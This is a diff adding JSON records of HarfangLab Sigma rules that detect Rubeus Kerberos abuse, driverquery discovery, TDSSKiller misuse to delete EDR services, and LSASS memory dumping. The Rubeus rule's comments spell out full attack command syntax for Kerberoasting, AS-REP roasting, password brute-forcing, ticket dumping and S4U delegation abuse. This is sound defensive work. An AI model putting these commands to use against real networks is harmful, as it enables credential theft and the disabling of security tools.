+    "https://github.com/GhostPack/Rubeus",
+    "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/",
+    "https://attack.mitre.org/software/S1071/"
+  ],
+  "name": "rubeus_usage.yml",
+  "content": "title: Rubeus HackTool Executed\nid: 4bda5ac1-8161-4338-88d4-bdb0ab0899ac\ndescription: |\n    Detects the usage of Rubeus from command-line arguments.\n    Rubeus is a C# command-line tool developed to misuse and manipulate Kerberos authentication in Windows Active Directory environments.\n    This tool has been used by attackers in ransomware operations.\n    It is recommended to verify if the usage of this tool is legitimate using the process tree to gather more information about the execution context, as well as to look for any other malicious behavior on the host.\nreferences:\n    - https://github.com/GhostPack/Rubeus\n    - https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/\n    - https://attack.mitre.org/software/S1071/\ndate: 2020/11/16\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - attack.t1078\n    - attack.t1550.002\n    - attack.t1550.003\n    - attack.s1071\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.Rubeus\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.Exploitation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:\n    #    Rubeus.exe tgtdeleg [/target:SPN]\n    selection_tgtdeleg:\n        CommandLine|contains: ' tgtdeleg '\n\n    # Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:\n    #   Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec]\n    # Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session:\n    #   Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec]\n    # Retrieve a TGT using a PCKS12 certificate store, start a /netonly process, and to apply the ticket to the new process/logon session:\n    #   Rubeus.exe asktgt /user:USER /certificate:C:\\temp\\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]\n    # Retrieve a TGT using a certificate from the users keystore (Smartcard) specifying certificate thumbprint or subject, start a /netonly process, and to apply the ticket to the new process/logon session:\n    #   Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]\n    selection_asktgt_1:\n        CommandLine|contains: ' asktgt '\n    selection_asktgt_2:\n        CommandLine|contains:\n            - ' /user:'\n            - ' /password:'\n            - ' /enctype:'\n            - ' /des:'\n            - ' /rc4:'\n            - ' /aes128:'\n            - ' /aes256:'\n            - ' /domain:'\n            - ' /dc:'\n\n    # Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket:\n    #   Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec]\n    selection_asktgs_1:\n        CommandLine|contains: ' asktgs '\n    selection_asktgs_2:\n        CommandLine|contains:\n            - ' /ticket:'\n            - ' /service:'\n\n    # Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:\n    #   Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]\n    selection_renew:\n        CommandLine|contains|all:\n            - ' renew '\n            - ' /ticket:'\n\n    # Perform a Kerberos-based password bruteforcing attack:\n    #   Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]\n    selection_brute_1:\n        CommandLine|contains: ' brute '\n    selection_brute_2:\n        CommandLine|contains:\n            - ' /password:'\n            - ' /passwords:'\n            - ' /user:'\n            - ' /users:'\n            - ' /domain:'\n            - ' /creduser:'\n            - ' /credpassword:'\n\n    # Perform Kerberoasting:\n    #   Rubeus.exe kerberoast [[/spn:\"blah/blah\"] | [/spns:C:\\temp\\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:\"OU=,...\"] [/nowrap]\n    # Perform Kerberoasting, outputting hashes to a file:\n    #   Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:\"blah/blah\"] | [/spns:C:\\temp\\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:\"OU=,...\"]\n    # Perform Kerberoasting, outputting hashes in the file output format, but to the console:\n    #   Rubeus.exe kerberoast /simple [[/spn:\"blah/blah\"] | [/spns:C:\\temp\\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:\"OU=,...\"] [/nowrap]\n    # Perform Kerberoasting with alternate credentials:\n    #   Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\\USER /credpassword:PASSWORD [/spn:\"blah/blah\"] [/spns:C:\\temp\\spns.txt] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:\"OU=,...\"] [/nowrap]\n    # Perform Kerberoasting with an existing TGT:\n    #   Rubeus.exe kerberoast </spn:\"blah/blah\" | /spns:C:\\temp\\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]\n    # Perform Kerberoasting with an existing TGT using an enterprise principal:\n    #   Rubeus.exe kerberoast </spn:user@domain.com | /spns:user1@domain.com,user2@domain.com> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]\n    # Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts:\n    #   Rubeus.exe kerberoast /usetgtdeleg [/nowrap]\n    # Perform \"opsec\" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts:\n    #   Rubeus.exe kerberoast /rc4opsec [/nowrap]\n    # List statistics about found Kerberoastable accounts without actually sending ticket requests:\n    #   Rubeus.exe kerberoast /stats [/nowrap]\n    # Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter):\n    #   Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/nowrap]\n    # Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets:\n    #   Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/nowrap]\n    # Perform AES Kerberoasting:\n    #   Rubeus.exe kerberoast /aes [/nowrap]\n    selection_kerberoast_1:\n        CommandLine|contains: ' kerberoast '\n    selection_kerberoast_2:\n        CommandLine|contains:\n            - ' /spn:'\n            - ' /spns:'\n            - ' /user:'\n            - ' /domain:'\n            - ' /credpassword:'\n            - ' /creduser:'\n            - ' /ticket:'\n            - ' /usetgtdeleg'\n            - ' /rc4opsec'\n            - ' /stats'\n            - ' /ldapfilter:'\n            - ' /pwdsetafter:'\n            - ' /aes'\n\n    # Perform AS-REP \"roasting\" for any users without preauth:\n    #   Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:\"OU=,...\"] [/nowrap]\n    # Perform AS-REP \"roasting\" for any users without preauth, outputting Hashcat format to a file:\n    #   Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:\"OU=,...\"]\n    # Perform AS-REP \"roasting\" for any users without preauth using alternate credentials:\n    #   Rubeus.exe asreproast /creduser:DOMAIN.FQDN\\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:\"OU,...\"] [/nowrap]\n    selection_asreproast_1:\n        CommandLine|contains: ' asreproast '\n    selection_asreproast_2:\n        CommandLine|contains:\n            - ' /spn:'\n            - ' /spns:'\n            - ' /user:'\n            - ' /domain'\n            - ' /format:'\n            - ' /creduser:'\n            - ' /credpassword:'\n\n    selection_ptt:\n        CommandLine|contains|all:\n            - ' ptt '\n            - ' /ticket:'\n\n    # Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service:\n    #   Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]\n    # List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID:\n    #   Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]\n    # Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:\n    #   Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]\n    selection_extract_harvest_1:\n        CommandLine|contains:\n            - ' triage '\n            - ' klist '\n            - ' dump '\n    selection_extract_harvest_2:\n        CommandLine|contains:\n            - ' /luid:'\n            - ' /service:krbtgt'\n            - ' /user:'\n\n    # Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:\n    #   Rubeus.exe createnetonly /program:\"C:\\Windows\\System32\\cmd.exe\" [/show]\n    selection_createnetonly:\n        CommandLine|contains|all:\n            - ' createnetonly '\n            - ' /program:'\n\n    # Perform S4U constrained delegation abuse:\n    #   Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self]\n    #     Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self]\n    # Perform S4U constrained delegation abuse across domains:\n    #   Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self]\n    selection_s4u_1:\n        CommandLine|contains: ' s4u '\n    selection_s4u_2:\n        CommandLine|contains:\n            - ' /ticket:'\n            - ' /impersonateuser:'\n            - ' /tgs:'\n            - ' /user:'\n\n    # Some parameters (klist, ..) don't require other parameters. We want to be able to detect rubeus anyway, so match on internal data about it\n    selection_internal_name:\n        Description: 'Rubeus'\n        OriginalFileName: 'Rubeus.exe'\n        InternalName: 'Rubeus.exe'\n\n    exclusion_solidworks:\n        ProcessImage: '?:\\Program Files\\SOLIDWORKS Corp\\SOLIDWORKS Flow Simulation\\binCFW\\efdsolver.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Mentor Graphics Corporation'\n\n    condition: (selection_tgtdeleg or (all of selection_asktgt_*) or (all of selection_asktgs_*) or selection_renew or (all of selection_brute_*) or (all of selection_kerberoast_*) or (all of selection_asreproast_*) or selection_ptt or (all of selection_extract_harvest_*) or selection_createnetonly or (all of selection_s4u_*) or selection_internal_name) and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4bda5ac1-8161-4338-88d4-bdb0ab0899ac",
+  "rule_name": "Rubeus HackTool Executed",
+  "rule_description": "Detects the usage of Rubeus from command-line arguments.\nRubeus is a C# command-line tool developed to misuse and manipulate Kerberos authentication in Windows Active Directory environments.\nThis tool has been used by attackers in ransomware operations.\nIt is recommended to verify if the usage of this tool is legitimate using the process tree to gather more information about the execution context, as well as to look for any other malicious behavior on the host.\n",
+  "rule_creation_date": "2020-11-16",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1078",
+    "attack.t1550.002",
+    "attack.t1550.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4c017732-d9c4-4ebf-ac10-8714261e6380",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296733Z",
+  "creation_date": "2026-03-23T11:45:35.296735Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296740Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/driverquery",
+    "https://attack.mitre.org/techniques/T1082/"
+  ],
+  "name": "t1082_driverquery.yml",
+  "content": "title: DriverQuery Execution\nid: 4c017732-d9c4-4ebf-ac10-8714261e6380\ndescription: |\n    Detects the execution of 'driverquery.exe'.\n    Driverquery is often used by attackers to gather detailed information about the different drivers on a running on a system.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/driverquery\n    - https://attack.mitre.org/techniques/T1082/\ndate: 2021/05/06\nmodified: 2026/02/25\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1082\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\driverquery.exe'\n        # Renamed binaries\n        - OriginalFileName: 'drvqry.exe'\n\n    selection_context:\n        ParentImage|contains: '?'\n\n    exclusion_explorer:\n        ParentImage:\n            - '?:\\Windows\\System32\\cmd.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        GrandparentImage: '?:\\Windows\\explorer.exe'\n\n    exclusion_program_files:\n        ParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_sophos:\n        ParentImage: '?:\\ProgramData\\Sophos\\AutoUpdate\\Cache\\sophos_autoupdate?.dir\\su-repair.exe'\n\n    exclusion_lenovo:\n        ParentCommandLine|endswith: ' /C driverquery /fo list | findstr MEIx64'\n        GrandparentImage|endswith:\n            - '\\fwdetect.exe'\n            - '\\fwdetect_v??.exe'\n\n    exclusion_fujitsu:\n        ParentCommandLine|contains: ' /c Driverquery | findstr '\n        GrandparentImage|endswith: '\\CheckBatteryFW.exe'\n\n    exclusion_nordvpn:\n        ParentImage: '*\\AppData\\Local\\Temp\\\\*\\nordvpn-*.tmp'\n        GrandparentImage: '*\\nordvpn-*.exe'\n\n    exclusion_hp:\n        - ParentImage:\n            - '?:\\WINDOWS\\System32\\DriverStore\\FileRepository\\hpanalyticscomp.inf_*\\x64\\TouchpointAnalyticsClient.exe'\n            - '?:\\WINDOWS\\System32\\DriverStore\\FileRepository\\hpanalyticscomp.inf_*\\x64\\TouchpointAnalyticsClientService.exe'\n        - GrandparentImage: '?:\\Program Files\\Hewlett-Packard\\AMS\\service\\hpqams.exe'\n\n    exclusion_docker:\n        # powershell -NoProfile -Command &{ driverquery /FO CSV }\n        ParentCommandLine|contains|all:\n            - 'powershell -NoProfile -Command'\n            - 'driverquery /FO CSV'\n        GrandparentImage: '?:\\Program Files\\Docker\\Docker\\resources\\com.docker.diagnose.exe'\n\n    # ElsterAuthenticator\n    exclusion_elester:\n        GrandparentImage:\n            - '?:\\Program Files\\ElsterAuthenticator\\ElsterAuthenticator.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\ElsterAuthenticator\\ElsterAuthenticator.exe'\n\n    exclusion_messenger2go:\n        ParentCommandLine: '?:\\WINDOWS\\system32\\cmd.exe /s /c driverquery /FO list /v'\n        GrandparentImage: '?:\\Users\\\\*\\AppData\\Roaming\\Messenger2go\\Messenger2go.exe'\n\n    exclusion_defender:\n        - ParentImage: '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\\\*\\SenseIR.exe'\n        - GrandparentImage:\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\\\*\\MsSense.exe'\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseIR.exe'\n\n    exclusion_suuntolink:\n        CommandLine: '?:\\WINDOWS\\sysnative\\driverquery.exe /v /fo csv /nh'\n        ParentCommandLine|startswith:\n            - '?:\\Users\\\\*\\AppData\\Local\\Suuntolink\\app-*\\Suuntolink.exe'\n            - '?:\\ProgramData\\\\*\\Suuntolink\\app-*\\Suuntolink.exe'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '?:\\Program Files (x86)\\Tanium\\Tanium Client\\TaniumClient.exe'\n            - '?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\dcagentservice.exe'\n            - '?:\\Program Files\\Mesh Agent\\MeshAgent.exe'\n            - '?:\\ProgramData\\JWrapper-Remote Access\\JWrapper-Windows*\\bin\\Remote Access.exe'\n            - '?:\\Program Files (x86)\\MSI\\MSI_Driver_Utility_Installer\\MSI_Driver_Utility_Installer.exe'\n            - '?:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4c017732-d9c4-4ebf-ac10-8714261e6380",
+  "rule_name": "DriverQuery Execution",
+  "rule_description": "Detects the execution of 'driverquery.exe'.\nDriverquery is often used by attackers to gather detailed information about the different drivers on a running on a system.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2021-05-06",
+  "rule_modified_date": "2026-02-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1082"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4c0aa693-e40f-4aad-8bb5-79144acd7b68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080377Z",
+  "creation_date": "2026-03-23T11:45:34.080379Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080384Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sangfor.com/farsight-labs-threat-intelligence/cybersecurity/lockbit-ransomware-silently-disables-edr-using-tdsskiller",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_tdsskiller_dcsvc.yml",
+  "content": "title: Malicious Execution of TDSSKiller\nid: 4c0aa693-e40f-4aad-8bb5-79144acd7b68\ndescription: |\n    Detects execution of TDSSKiller which is a free tool developed by Kaspersky for detecting and removing rootkits.\n    This tool is also capable of disabling stubborn malicious processes via command prompt execution.\n    It can be abused to terminate antivirus and EDR softwares with the \"-dcsvc\" option.\n    This option deletes the specified service, removing the registry keys and executables associated with the service and software.\n    LockBit 3.0 Ransomware group is already known to abuse this tool.\n    It is recommended to determine if this tool was used for nefarious purposes by looking at the service specified in the \"-dcsvc\" option. If this tool was used to disable a security product, it is recommended to isolate affected machines and start an investigation.\nreferences:\n    - https://www.sangfor.com/farsight-labs-threat-intelligence/cybersecurity/lockbit-ransomware-silently-disables-edr-using-tdsskiller\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2023/07/27\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.TDSSKiller\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Product: 'TDSSKiller'\n        - OriginalFileName: 'TDSSKiller.exe'\n        - InternalName: 'TDSSKiller'\n\n    selection_option:\n        CommandLine|contains: '-dcsvc'\n\n    condition: all of selection_*\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4c0aa693-e40f-4aad-8bb5-79144acd7b68",
+  "rule_name": "Malicious Execution of TDSSKiller",
+  "rule_description": "Detects execution of TDSSKiller which is a free tool developed by Kaspersky for detecting and removing rootkits.\nThis tool is also capable of disabling stubborn malicious processes via command prompt execution.\nIt can be abused to terminate antivirus and EDR softwares with the \"-dcsvc\" option.\nThis option deletes the specified service, removing the registry keys and executables associated with the service and software.\nLockBit 3.0 Ransomware group is already known to abuse this tool.\nIt is recommended to determine if this tool was used for nefarious purposes by looking at the service specified in the \"-dcsvc\" option. If this tool was used to disable a security product, it is recommended to isolate affected machines and start an investigation.\n",
+  "rule_creation_date": "2023-07-27",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4c2e7819-9e13-4d0f-8926-6bab029881d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627583Z",
+  "creation_date": "2026-03-23T11:45:34.627585Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627589Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/codewhitesec/HandleKatz",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_pic_lsass_dumper.yml",
+  "content": "title: LSASS Process Memory Accessed from a PIC\nid: 4c2e7819-9e13-4d0f-8926-6bab029881d7\ndescription: |\n    Detects an attempt to dump the LSASS.exe process from an unknown module (either via dumping handles or accessing process memory directly).\n    This is likely done when LSASS is accessed from Position Independent Code (shellcode).\n    Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\n    It is recommended to look for other suspicious processes and alerts on the affected endpoint.\nreferences:\n    - https://github.com/codewhitesec/HandleKatz\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2021/11/19\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        TargetImage|endswith: '\\lsass.exe'\n        GrantedAccessStr|contains:\n            - 'PROCESS_DUP_HANDLE'\n            - 'PROCESS_VM_READ'\n        CallTrace:\n            - 'UNKNOWN(????????????????)'\n            - 'UNKNOWN(????????????????)?UNKNOWN(????????????????)'\n            - 'UNKNOWN(????????????????)?UNKNOWN(????????????????)?UNKNOWN(????????????????)'\n\n    exclusion_kaspersky:\n        ProcessImage: '?:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Endpoint Security for Windows\\avp.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Kaspersky Lab JSC'\n\n    exclusion_sophos:\n        ProcessImage: '?:\\Program Files (x86)\\Sophos\\Sophos Anti-Virus\\SavService.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Sophos Ltd'\n\n    exclusion_afkjourney:\n        ProcessImage|endswith: '\\AFKJourney Game\\game\\AFK Journey.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Shanghai Lilith Network Technology Co., Ltd.'\n\n    exclusion_eset:\n        # C:\\Program Files\\ESET\\ESET Security\\ekrn.exe\n        ProcessOriginalFileName: 'ekrn.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'ESET, spol. s r.o.'\n\n    exclusion_defender:\n        ProcessImage: '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n        ProcessParentImage: '?:\\Windows\\system32\\services.exe'\n\n\n    exclusion_synology:\n        ProcessImage: '?:\\program files (x86)\\synology\\assistant\\usbclientservice.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Synology Inc.'\n\n    exclusion_vanguard:\n        ProcessImage: '?:\\program files\\riot vanguard\\vgm.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Riot Games, Inc.'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4c2e7819-9e13-4d0f-8926-6bab029881d7",
+  "rule_name": "LSASS Process Memory Accessed from a PIC",
+  "rule_description": "Detects an attempt to dump the LSASS.exe process from an unknown module (either via dumping handles or accessing process memory directly).\nThis is likely done when LSASS is accessed from Position Independent Code (shellcode).\nAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\nIt is recommended to look for other suspicious processes and alerts on the affected endpoint.\n",
+  "rule_creation_date": "2021-11-19",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4c4121af-1fcf-4b14-b225-083b79f93554",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
